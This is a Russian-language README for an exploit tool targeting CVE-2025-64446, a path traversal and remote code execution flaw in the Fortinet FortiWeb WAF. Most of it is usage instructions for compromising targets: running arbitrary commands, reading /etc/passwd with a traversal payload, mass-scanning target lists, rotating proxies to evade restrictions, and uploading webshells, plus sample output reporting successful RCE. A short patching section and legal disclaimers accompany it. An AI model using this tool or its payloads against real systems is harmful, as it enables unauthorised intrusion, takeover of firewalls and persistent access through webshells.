CVE-2025-64446 Эксплойт обхода пути и удаленного выполнения кода в Fortinet FortiWeb

Инструмент для исследования безопасности, предназначенный для обнаружения и тестирования уязвимости CVE-2025-64446 в брандмауэре веб-приложений Fortinet FortiWeb (WAF). Эта критическая уязвимость нулевого дня, связанная с обходом пути, активно эксплуатируется в реальных условиях и позволяет неаутентифицированным злоумышленникам обходить средства защиты и выполнять произвольный код.

⚠️ Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Используйте этот инструмент только на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.

📋 Обзор

CVE-2025-64446 — это критическая уязвимость нулевого дня, связанная с обходом пути в Fortinet FortiWeb WAF, которая активно эксплуатируется в реальных условиях. Эта уязвимость позволяет неаутентифицированным злоумышленникам обходить средства защиты с помощью атак обхода пути, что может привести к удаленному выполнению кода, доступу к конфигурационным файлам и полной компрометации системы.

Оценка CVSS: 9.8 (Критическая)
Статус: Активно эксплуатируется в реальных условиях
CISA KEV: Добавлен в каталог известных эксплуатируемых уязвимостей
Патч: FG-IR-25-910
Затронутый продукт: Fortinet FortiWeb WAF

🔍 Возможности

Автоматическое обнаружение FortiWeb: Определяет развертывания FortiWeb WAF
Тестирование обхода пути: Проверяет множество вариантов полезной нагрузки для обхода пути
Подтверждение уязвимости: Подтверждает уязвимость CVE-2025-64446
Доступ к конфигурационным файлам: Пытается прочитать конфигурационные файлы FortiWeb
Развертывание веб-шелла: Демонстрирует возможность загрузки веб-шелла
Выполнение команд: Выполняет произвольные команды (для авторизованного тестирования)
Поддержка многопоточности: Сканирование нескольких целей параллельно
Поддержка прокси: Обход дополнительных ограничений безопасности
Экспорт в JSON: Подробные результаты в формате JSON
Включен POC-скрипт: Простая демонстрация доказательства концепции

📦 Установка

Предварительные требования

Python 3.6 или выше
pip (менеджер пакетов Python)

Быстрая установка

# Клонируйте репозиторий
git clone https://github.com/AN5I/cve-2025-64446-fortiweb-exploit.git
cd cve-2025-64446-fortiweb-exploit

# Установите зависимости
pip install -r requirements.txt

# Сделайте скрипты исполняемыми (опционально)
chmod +x cve_2025_64446_fortiweb_exploit.py
chmod +x cve_2025_64446_poc.py

Альтернатива: Прямая загрузка

# Загрузите скрипты
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_fortiweb_exploit.py
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_poc.py

# Установите зависимости
pip install requests

🚀 Использование

Базовое использование

# Одна цель
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com

# Выполнение пользовательской команды
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -c "whoami"

# Несколько целей из файла
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json

# С многопоточностью для более быстрого сканирования
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -t 5

# Подробный вывод для отладки
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -v

Использование прокси

# Один прокси
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com --proxy http://proxy:port

# Несколько прокси из файла
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt

POC-скрипт

# Базовый POC-тест
python3 cve_2025_64446_poc.py -u http://target.com

# Тестирование конкретного файла
python3 cve_2025_64446_poc.py -u http://target.com -f etc/passwd

# Подробный вывод
python3 cve_2025_64446_poc.py -u http://target.com -v

Параметры командной строки

-u, --url          Целевой URL
-f, --file         Файл, содержащий целевые URL (по одному на строку)
-c, --command      Команда для выполнения (по умолчанию: id)
-t, --threads      Количество потоков (по умолчанию: 1)
-o, --output       Выходной файл (по умолчанию: uknf_fortiweb_results.json)
-v, --verbose      Включить подробное логирование
--proxy            URL прокси (например, http://127.0.0.1:8080)
--proxy-list       Файл, содержащий URL прокси (по одному на строку)

📊 Вывод

Скрипт генерирует JSON-файл с подробными результатами:

{
  "target": "http://target.com",
  "timestamp": "2025-11-21T00:25:40.123456",
  "fortiweb_detected": true,
  "vulnerable": true,
  "path_traversal_successful": true,
  "config_file_read": true,
  "webshell_uploaded": true,
  "command_executed": "id",
  "output": "uid=1000(user) gid=1000(user)...",
  "vulnerable_payload": "../../../../etc/passwd"
}

🔬 Как это работает

Фаза обнаружения: Сканирует индикаторы FortiWeb WAF (заголовки, содержимое, страницы ошибок)
Тестирование уязвимости: Проверяет множество вариантов полезной нагрузки для обхода пути
Подтверждение обхода пути: Подтверждает успешный доступ к файлу
Доступ к конфигурации: Пытается прочитать конфигурационные файлы FortiWeb
Эксплуатация: Если уязвим, демонстрирует возможность RCE через развертывание веб-шелла

🛡️ Смягчение последствий

Если вы используете FortiWeb WAF:

Немедленно установите обновления безопасности:

# Проверьте текущую версию
show system status

# Обновитесь до последней версии
execute upgrade <firmware-file>

Ссылка: FG-IR-25-910

Сегментация сети:
- Ограничьте доступ к интерфейсу управления FortiWeb
- Внедрите сетевые ACL
- Используйте VPN для административного доступа
Усиление конфигурации:
- Отключите ненужные функции
- Внедрите строгие средства контроля доступа
- Включите комплексное ведение журналов и мониторинг
Требования CISA:
- Федеральные агентства должны установить исправления в течение 7 дней
- Следите за каталогом CISA KEV на предмет обновлений

📚 Ссылки

CVE: CVE-2025-64446
Fortinet PSIRT: FG-IR-25-910
Каталог CISA KEV: CVE-2025-64446
Блог Tenable: Анализ CVE-2025-64446

📖 Примеры

Пример 1: Сканирование одной цели

python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com

Пример 2: Несколько целей с выводом

# Создайте файл с целями
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Запустите сканирование
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json

Пример 3: Выполнение пользовательской команды

python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com -c "uname -a"

Пример 4: Использование прокси

# Один прокси
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com --proxy http://127.0.0.1:8080

# Несколько прокси из файла
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt

Пример 5: Тестирование POC

# Базовый POC
python3 cve_2025_64446_poc.py -u https://example.com

# Тестирование конкретного файла
python3 cve_2025_64446_poc.py -u https://example.com -f etc/passwd

🤝 Вклад

Приветствуются любые вклады! Пожалуйста, не стесняйтесь отправлять Pull Request.

Сделайте форк репозитория
Создайте свою ветку функции (git checkout -b feature/AmazingFeature)
Зафиксируйте изменения (git commit -m 'Add some AmazingFeature')
Отправьте в ветку (git push origin feature/AmazingFeature)
Откройте Pull Request

🐛 Проблемы

Если вы столкнулись с какими-либо проблемами или у вас есть предложения, пожалуйста, откройте issue на GitHub.

📝 Лицензия

Этот проект лицензирован по лицензии MIT — подробности см. в файле LICENSE.

⭐ История звезд

Если вы считаете этот инструмент полезным, пожалуйста, поставьте ему звезду на GitHub!

⚖️ Правовая информация

Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Авторы не несут ответственности за любое неправомерное использование или ущерб, причиненный этой программой. Пользователи несут ответственность за получение надлежащего разрешения перед тестированием любых систем.

🙏 Благодарности

Первоначальный репортер уязвимости и исследователи безопасности
Fortinet PSIRT за раскрытие уязвимости
CISA за поддержание каталога KEV
Сообщество безопасности за продолжающиеся исследования

💰 Пожертвования

Если вы нашли этот инструмент полезным и хотели бы поддержать проект:

Bitcoin (BTC):

bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv

Ethereum (ETH):

0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7

Спасибо за вашу поддержку! 🙏

Популярное

cve-2025-64446-fortiweb-exploit